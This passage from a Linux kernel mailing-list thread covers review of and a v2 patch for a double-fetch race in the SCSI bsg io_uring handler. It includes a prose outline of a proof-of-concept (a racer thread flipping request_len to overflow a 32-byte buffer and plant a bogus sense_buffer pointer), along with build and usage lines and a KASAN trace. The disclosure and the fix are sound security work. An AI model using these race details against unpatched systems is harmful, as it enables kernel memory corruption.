SCSI_SENSE_BUFFERSIZE) it faults on the >> corrupted pointer. > > Then the fix is to use READ_ONCE() to access the SQE fields, right? > Copying the entire SQE seems like unnecessary overhead. See > nvme_uring_cmd_io() for prior art. That is indeed the correct fix. -- Jens Axboe ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE 2026-05-27 16:45 ` Jens Axboe @ 2026-05-27 16:48 ` Jens Axboe 0 siblings, 0 replies; 11+ messages in thread From: Jens Axboe @ 2026-05-27 16:48 UTC (permalink / raw) To: Caleb Sander Mateos, Rahul Chandelkar Cc: James.Bottomley, martin.petersen, fujita.tomonori, linux-scsi, linux-block, io-uring On 5/27/26 10:45 AM, Jens Axboe wrote: > On 5/27/26 10:27 AM, Caleb Sander Mateos wrote: >> On Wed, May 27, 2026 at 9:19?AM Rahul Chandelkar <rc@rexion.ai> wrote: >>> >>> On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote: >>>> I don't think this is the right way to fix it, ->sqe should've been >>>> stable upfront if this ends up happening. Can you share your poc with >>>> me? Your trace has been trimmed down way too much to be useful. >>> >>> Agreed that a core-level copy before the inline callback would be the >>> right fix and would eliminate the entire class for every uring_cmd >>> driver. The per-driver copy was meant as a minimal backportable fix >>> for the immediate scsi_bsg path. >>> >>> PoC and full trace below. >>> >>> --- PoC (poc_bsg_toctou.c) --- >>> >>> Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c >>> Usage: ./poc /dev/bsg/X >>> Needs: 2+ CPUs, io_uring, /dev/bsg/* access >>> >>> The racer thread flips request_len between 16 (passes the <=32 bounds >>> check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]). >>> The overflow payload plants 0xdead000000001000 at the sense_buffer >>> pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does >>> memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the >>> corrupted pointer. >> >> Then the fix is to use READ_ONCE() to access the SQE fields, right? >> Copying the entire SQE seems like unnecessary overhead. See >> nvme_uring_cmd_io() for prior art. > > That is indeed the correct fix. To be a bit more clear for the original reporter, in the hopes that they will send a v2. Doing things like: if (cmd->addr) validate_addr(cmd->addr); [...] Use cmd->addr, we already validated it. Is not safe, as ->addr can change in between. All of the sqe related bits which cmd is should follow the pattern of: addr = READ_ONCE(cmd->addr); if (addr) validate_addr(addr); [...] Use addr, we already validated it, and it cannot have changed. Copying 128b in both places is a big hammer, the code just needs to use the proper access mechanism. -- Jens Axboe ^ permalink raw reply [flat|nested] 11+ messages in thread
* [PATCH v2] scsi: bsg: read io_uring command fields once 2026-05-27 10:59 [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE Rahul Chandelkar 2026-05-27 16:03 ` Bart Van Assche 2026-05-27 16:06 ` Jens Axboe @ 2026-05-27 19:17 ` Rahul Chandelkar 2026-05-30 18:02 ` Yang Xiuwei 2026-06-25 3:25 ` Yang Xiuwei 2 siblings, 2 replies; 11+ messages in thread From: Rahul Chandelkar @ 2026-05-27 19:17 UTC (permalink / raw) To: rc, James E . J . Bottomley, Martin K . Petersen, Jens Axboe, FUJITA Tomonori Cc: linux-scsi, linux-block, io-uring, linux-kernel, Yang Xiuwei, Bart Van Assche, Caleb Sander Mateos, stable scsi_bsg_uring_cmd() reads struct bsg_uring_cmd fields directly from the shared mmap'd io_uring SQE. On the inline execution path, io_uring may still point at userspace-visible SQE storage, so a concurrent userspace thread can change fields between validation and use. request_len is checked against the size of scmd->cmnd, then used again for scmd->cmd_len and copy_from_user(). If userspace changes request_len after the bounds check, the later copy can overflow the 32-byte scmd->cmnd buffer. Transfer fields are also read again by scsi_bsg_map_user_buffer(), leaving direction, address and length open to the same race. Use READ_ONCE() to load each bsg_uring_cmd field needed by scsi_bsg_uring_cmd() into a local variable, then use those locals for both validation and execution. Pass the stable transfer direction, address and length into scsi_bsg_map_user_buffer() so the helper no longer re-derives them from the SQE. This fixes the double-fetch without copying the whole io_uring command payload. Tested with KASAN on QEMU (virtio-scsi, 2 vCPUs). Without this fix, a two-thread race produces: BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0 Write of size 96 at addr dead000000001000 by task poc/67 Call Trace: kasan_report+0xce/0x100 __asan_memset+0x23/0x50 scsi_queue_rq+0x4a3/0x58a0 scsi_bsg_uring_cmd+0x942/0x1570 io_uring_cmd+0x2f6/0x950 io_issue_sqe+0xe5/0x22d0 Link: https://lore.kernel.org/all/20260527105931.3950913-1-rc@rexion.ai/T/#u Fixes: 7b6d3255e7f8 ("scsi: bsg: add io_uring passthrough handler") Cc: stable@vger.kernel.org Signed-off-by: Rahul Chandelkar <rc@rexion.ai> --- Changes in v2: - Use READ_ONCE() for individual fields instead of memcpying the command payload. - Pass stable transfer parameters to scsi_bsg_map_user_buffer() so it does not re-read the SQE. - Do not carry the Reviewed-by tag from v1 because the implementation strategy changed. drivers/scsi/scsi_bsg.c | 54 ++++++++++++++++++++++++++--------------- 1 file changed, 35 insertions(+), 19 deletions(-) diff --git a/drivers/scsi/scsi_bsg.c b/drivers/scsi/scsi_bsg.c index e80dec53174e..ccbe3d98e4ff 100644 --- a/drivers/scsi/scsi_bsg.c +++ b/drivers/scsi/scsi_bsg.c @@ -76,12 +76,10 @@ static enum rq_end_io_ret scsi_bsg_uring_cmd_done(struct request *req, static int scsi_bsg_map_user_buffer(struct request *req, struct io_uring_cmd *ioucmd, - unsigned int issue_flags, gfp_t gfp_mask) + unsigned int issue_flags, gfp_t gfp_mask, + bool is_write, u64 buf_addr, + unsigned long buf_len) { - const struct bsg_uring_cmd *cmd = io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd); - bool is_write = cmd->dout_xfer_len > 0; - u64 buf_addr = is_write ? cmd->dout_xferp : cmd->din_xferp; - unsigned long buf_len = is_write ? cmd->dout_xfer_len : cmd->din_xfer_len; struct iov_iter iter; int ret; @@ -104,26 +102,40 @@ static int scsi_bsg_uring_cmd(struct request_queue *q, struct io_uring_cmd *iouc unsigned int issue_flags, bool open_for_write) { struct scsi_bsg_uring_cmd_pdu *pdu = scsi_bsg_uring_cmd_pdu(ioucmd); - const struct bsg_uring_cmd *cmd = io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd); + const struct bsg_uring_cmd *cmd = + io_uring_sqe128_cmd(ioucmd->sqe, struct bsg_uring_cmd); struct scsi_cmnd *scmd; struct request *req; blk_mq_req_flags_t blk_flags = 0; gfp_t gfp_mask = GFP_KERNEL; + u64 request = READ_ONCE(cmd->request); + u32 request_len = READ_ONCE(cmd->request_len); + u32 protocol = READ_ONCE(cmd->protocol); + u32 subprotocol = READ_ONCE(cmd->subprotocol); + u32 max_response_len = READ_ONCE(cmd->max_response_len); + u64 response = READ_ONCE(cmd->response); + u64 dout_xferp = READ_ONCE(cmd->dout_xferp); + u32 dout_xfer_len = READ_ONCE(cmd->dout_xfer_len); + u32 dout_iovec_count = READ_ONCE(cmd->dout_iovec_count); + u64 din_xferp = READ_ONCE(cmd->din_xferp); + u32 din_xfer_len = READ_ONCE(cmd->din_xfer_len); + u32 din_iovec_count = READ_ONCE(cmd->din_iovec_count); + u32 timeout_ms = READ_ONCE(cmd->timeout_ms); int ret; - if (cmd->protocol != BSG_PROTOCOL_SCSI || - cmd->subprotocol != BSG_SUB_PROTOCOL_SCSI_CMD) + if (protocol != BSG_PROTOCOL_SCSI || + subprotocol != BSG_SUB_PROTOCOL_SCSI_CMD) return -EINVAL; - if (!cmd->request || cmd->request_len == 0) + if (!request || request_len == 0) return -EINVAL; - if (cmd->dout_xfer_len && cmd->din_xfer_len) { + if (dout_xfer_len && din_xfer_len) { pr_warn_once("BIDI support in bsg has been removed.\n"); return -EOPNOTSUPP; } - if (cmd->dout_iovec_count > 0 || cmd->din_iovec_count > 0) + if (dout_iovec_count > 0 || din_iovec_count > 0) return -EOPNOTSUPP; if (issue_flags & IO_URING_F_NONBLOCK) { @@ -131,20 +143,20 @@ static int scsi_bsg_uring_cmd(struct request_queue *q, struct io_uring_cmd *iouc gfp_mask = GFP_NOWAIT; } - req = scsi_alloc_request(q, cmd->dout_xfer_len ? + req = scsi_alloc_request(q, dout_xfer_len ? REQ_OP_DRV_OUT : REQ_OP_DRV_IN, blk_flags); if (IS_ERR(req)) return PTR_ERR(req); scmd = blk_mq_rq_to_pdu(req); - if (cmd->request_len > sizeof(scmd->cmnd)) { + if (request_len > sizeof(scmd->cmnd)) { ret = -EINVAL; goto out_free_req; } - scmd->cmd_len = cmd->request_len; + scmd->cmd_len = request_len; scmd->allowed = SG_DEFAULT_RETRIES; - if (copy_from_user(scmd->cmnd, uptr64(cmd->request), cmd->request_len)) { + if (copy_from_user(scmd->cmnd, uptr64(request), request_len)) { ret = -EFAULT; goto out_free_req; } @@ -154,12 +166,18 @@ static int scsi_bsg_uring_cmd(struct request_queue *q, struct io_uring_cmd *iouc goto out_free_req; } - pdu->response_addr = cmd->response; - scmd->sense_len = cmd->max_response_len ? - min(cmd->max_response_len, SCSI_SENSE_BUFFERSIZE) : SCSI_SENSE_BUFFERSIZE; + pdu->response_addr = response; + scmd->sense_len = max_response_len ? + min(max_response_len, SCSI_SENSE_BUFFERSIZE) : SCSI_SENSE_BUFFERSIZE; - if (cmd->dout_xfer_len || cmd->din_xfer_len) { - ret = scsi_bsg_map_user_buffer(req, ioucmd, issue_flags, gfp_mask); + if (dout_xfer_len || din_xfer_len) { + bool is_write = dout_xfer_len > 0; + u64 buf_addr = is_write ? dout_xferp : din_xferp; + unsigned long buf_len = is_write ? dout_xfer_len : din_xfer_len; + + ret = scsi_bsg_map_user_buffer(req, ioucmd, issue_flags, + gfp_mask, is_write, buf_addr, + buf_len); if (ret) goto out_free_req; pdu->bio = req->bio; @@ -167,8 +185,8 @@ static int scsi_bsg_uring_cmd(struct request_queue *q, struct io_uring_cmd *iouc pdu->bio = NULL; } - req->timeout = cmd->timeout_ms ? - msecs_to_jiffies(cmd->timeout_ms) : BLK_DEFAULT_SG_TIMEOUT; + req->timeout = timeout_ms ? + msecs_to_jiffies(timeout_ms) : BLK_DEFAULT_SG_TIMEOUT; req->end_io = scsi_bsg_uring_cmd_done; req->end_io_data = ioucmd; -- 2.54.0 ^ permalink raw reply related [flat|nested] 11+ messages in thread
* Re: [PATCH v2] scsi: bsg: read io_uring command fields once 2026-05-27 19:17 ` [PATCH v2] scsi: bsg: read io_uring command fields once Rahul Chandelkar @ 2026-05-30 18:02 ` Yang Xiuwei 2026-06-25 3:25 ` Yang Xiuwei 1 sibling, 0 replies; 11+ messages in thread From: Yang Xiuwei @ 2026-05-30 18:02 UTC (permalink / raw) To: rc Cc: James.Bottomley, martin.petersen, axboe, fujita.tomonori, linux-scsi, linux-block, io-uring, linux-kernel, bvanassche, csander, stable, Yang Xiuwei Hi Rahul, Thanks for the report and for v2. Reviewed-by: Yang Xiuwei <yangxiuwei@kylinos.cn> ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH v2] scsi: bsg: read io_uring command fields once 2026-05-27 19:17 ` [PATCH v2] scsi: bsg: read io_uring command fields once Rahul Chandelkar 2026-05-30 18:02 ` Yang Xiuwei @ 2026-06-25 3:25 ` Yang Xiuwei 2026-06-25 12:06 ` Jens Axboe 1 sibling, 1 reply; 11+ messages in thread From: Yang Xiuwei @ 2026-06-25 3:25 UTC (permalink / raw) To: James E . J . Bottomley, Martin K . Petersen Cc: Yang Xiuwei, Rahul Chandelkar, Jens Axboe, FUJITA Tomonori, linux-scsi, linux-block, io-uring, Bart Van Assche, Caleb Sander Mateos Hi James, Martin, Friendly ping on v2 — anything else needed before pick-up? Thanks, Yang Xiuwei ^ permalink raw reply [flat|nested] 11+ messages in thread
* Re: [PATCH v2] scsi: bsg: read io_uring command fields once 2026-06-25 3:25 ` Yang Xiuwei @ 2026-06-25 12:06 ` Jens Axboe 0 siblings, 0 replies; 11+ messages in thread From: Jens Axboe @ 2026-06-25 12:06 UTC (permalink / raw) To: Yang Xiuwei, James E . J . Bottomley, Martin K . Petersen Cc: Rahul Chandelkar, FUJITA Tomonori, linux-scsi, linux-block, io-uring, Bart Van Assche, Caleb Sander Mateos On 6/24/26 9:25 PM, Yang Xiuwei wrote: > Hi James, Martin, > > Friendly ping on v2 ? anything else needed before pick-up? It'll fix the issue, but it also just applies READ_ONCE() everywhere. Which is fine, but most of them don't really matter. For example, yes you could race on the timeout if the application is being stupid or silly, but it doesn't matter one bit. Similarly with a bunch of others. I'll leave that up to the SCSI folks to decide how they want to do it. -- Jens Axboe ^ permalink raw reply [flat|nested] 11+ messages in thread
end of thread, other threads:[~2026-06-25 12:06 UTC | newest] Thread overview: 11+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-05-27 10:59 [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE Rahul Chandelkar 2026-05-27 16:03 ` Bart Van Assche 2026-05-27 16:06 ` Jens Axboe 2026-05-27 16:19 ` Rahul Chandelkar 2026-05-27 16:27 ` Caleb Sander Mateos 2026-05-27 16:45 ` Jens Axboe 2026-05-27 16:48 ` Jens Axboe 2026-05-27 19:17 ` [PATCH v2] scsi: bsg: read io_uring command fields once Rahul Chandelkar 2026-05-30 18:02 ` Yang Xiuwei 2026-06-25 3:25 ` Yang Xiuwei 2026-06-25 12:06 ` Jens Axboe
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox